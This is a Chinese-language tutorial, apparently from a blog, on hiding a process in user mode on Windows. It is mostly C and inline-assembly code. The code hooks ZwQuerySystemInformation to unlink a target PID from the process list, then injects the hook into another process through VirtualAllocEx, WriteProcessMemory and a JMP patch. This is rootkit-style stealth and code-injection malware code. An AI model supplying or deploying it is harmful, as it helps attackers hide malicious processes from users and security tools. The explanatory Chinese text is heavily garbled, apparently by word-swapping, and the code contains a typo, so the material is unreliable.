ring3 dll hide

ZwQuerySystemInformation(SystemProcessInformation,SystemInformation,Length,ReturnLength);

 

 

 

  pSystemProcesses = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;

  while (TRUE){

   printf(“进程PID: %d\n”,pSystemProcesses->InheritedFromProcessId);

   if (!pSystemProcesses->NextEntryOffset) {

    break;

   }

   pSystemProcesses = (PSYSTEM_PROCESS_INFORMATION)((char
*)pSystemProcesses + pSystemProcesses->NextEntryOffset);

  }

 

 

 

当是我们得隐藏的历程的下我们好由此长NextEntryOffset的长要设置NextEntryOffset长度为0来掩藏进程。所以我们得以组织以下类似代码:

 

 

 

NTSTATUS

NTAPI

HOOK_ZwQuerySystemInformation(

         IN SYSTEM_INFORMATION_CLASS SystemInformationClass,

         OUT PVOID SystemInformation,

         IN ULONG SystemInformationLength,

         OUT PULONG ReturnLength OPTIONAL

         )

{

NTSTATUS ntStatus;

PSYSTEM_PROCESSES pSystemProcesses=NULL,Prev;

 

_asm{

  push ebx

  push ReturnLength

  push SystemInformationLength

  push SystemInformation

  push SystemInformationClass

  call ZwQuerySystemInformationProxy
//让原来函数执行得,只有如此函数才会回到我们得的数额然后在数量里开展改动

  mov ntStatus,eax

  pop ebx

}

 

if (NT_SUCCESS(ntStatus) &&
SystemInformationClass==SystemProcessesAndThreadsInformation){

  pSystemProcesses = (PSYSTEM_PROCESSES)SystemInformation;

  while (TRUE){

   if (pSystemProcesses->;ProcessId==0x12345678){
//如果是我们得隐藏的PID就进行多少修改

    if (pSystemProcesses->NextEntryDelta){

     //当我们要隐藏的进程后面还有进程时

     //越过我们好进程被NextEntryDelta直接指向下一个数据块

     Prev->NextEntryDelta += pSystemProcesses->NextEntryDelta;

    }else{

   
 //当我们经过处于最后一个数目那么我们虽拿上一个数据结构的NextEntryDelta置0

     //这时系统于遍历我们经过时就是非见面意识了

     Prev->NextEntryDelta=0;

    }

    break;

   }

   if (!pSystemProcesses->NextEntryDelta) {

    break;

   }

   Prev=pSystemProcesses;

   pSystemProcesses = (PSYSTEM_PROCESSES)((char *)pSystemProcesses +
pSystemProcesses->NextEntryDelta);

  }

}

return ntStatus;

}

 

 

 

咱们为不加加一个盈余的DLL所以必须是坐Shellcode方式注入到对象经过,但是若这样描写完整的shellcode确实发接触麻烦,我们得以取巧利用程序来兑现。

 

 

 

咱们将函数内需要再一贯的地方全用到__asm来完成本上面的

 

 

 

_asm{

  push ebx

  push ReturnLength

  push SystemInformationLength

  push SystemInformation

  push SystemInformationClass

  call ZwQuerySystemInformationProxy
//让原来函数执行得,只有如此函数才会返我们得之数据然后于多少里开展修改

  mov ntStatus,eax

  pop ebx

}

 

 

 

调用绝对地址来贯彻,这样就是未待重定位了。这样我们可将这个函数拷贝到目标经过了,再展开下目标地址之测算就ok了。所以发生接近下面的实现代码:

 

 

 

BOOLEAN SetHook(DWORD dwProcessId,DWORD dwHideId)

{

BOOLEAN bRet=FALSE;

DWORD OldProtect;

DWORD dwCodeStart,dwCodeEnd,dwCodeSize;

BYTE HookCode[5]={0xE9,0,0,0,0};

HANDLE hProcess=NULL;

PVOID RemoteAllocBase=NULL;

DWORD dwFunAddress;

PUCHAR pBuffer;

 

dwCodeStart = GetFunAddress((PUCHAR)FunStart);

dwCodeEnd = GetFunAddress((PUCHAR)FunEnd);

dwCodeSize = dwCodeEnd-dwCodeStart;

 

hProcess = OpenProcess(PROCESS_ALL_ACCESS,

         FALSE,

         dwProcessId

         );

 

if (hProcess){

  RemoteAllocBase = VirtualAllocEx(hProcess,

           NULL,

           dwCodeSize,

           MEM_COMMIT,

           PAGE_EXECUTE_READWRITE

           );

  if (RemoteAllocBase){

   printf(“\t申请内存地址:0x%x\n”,RemoteAllocBase);

   g_lpRemoteAllocBase = RemoteAllocBase;

   if (ZwQuerySystemInformation){

    bRet=VirtualProtect((PVOID)dwCodeStart,

         dwCodeSize,

         PAGE_EXECUTE_READWRITE,

         &OldProtect

         );

    if (bRet){

     memcpy((PVOID)dwCodeStart,ZwQuerySystemInformation,5);
//这里可以在比如进程被取备份代码也可于长距离进程面临获取一般正常情况是平等的

     *(DWORD
*)(dwCodeStart+6)=(DWORD)ZwQuerySystemInformation;//这里不待为此特色定位,因为自然是在第六单字节开始之地方

     *HookCode=0xE9;

     dwFunAddress =
GetFunAddress((PUCHAR)HOOK_ZwQuerySystemInformation);

     dwFunAddress -= dwCodeStart;

     dwFunAddress += (DWORD)RemoteAllocBase;
//计算HOOK_ZwQuerySystemInformation于目标经过面临的地方

   
 printf(“\tHOOK_ZwQuerySystemInformation内存地址:0x%x\n”,dwFunAddress);

     *(DWORD
*)&HookCode[1]=dwFunAddress-5-(DWORD)ZwQuerySystemInformation;

 

     dwFunAddress =
GetFunAddress((PUCHAR)HOOK_ZwQuerySystemInformation);

     for (pBuffer=(PUCHAR)dwFunAddress;

       pBuffer<(PUCHAR)dwFunAddress+(dwCodeEnd-dwFunAddress);

       pBuffer++

          )

     {

      if (*(DWORD *)pBuffer==0x12345678){

       *(DWORD *)pBuffer = dwHideId;

       break;

      }

     }

     VirtualProtect((PVOID)dwCodeStart,

           dwCodeSize,

           PAGE_EXECUTE_READWRITE,

           &OldProtect

           );

    }

   }

   bRet=WriteProcessMemory(hProcess,

         RemoteAllocBase,

         (PVOID)dwCodeStart,

         dwCodeSize,

         NULL

         );

   if (bRet){

    bRet=WriteProcessMemory(hProcess,

          ZwQuerySystemInformation,

          HookCode,

          5,

          NULL

          );

   }

  }

  CloseHandle(hProcess);

}

return bRet;

}

相关文章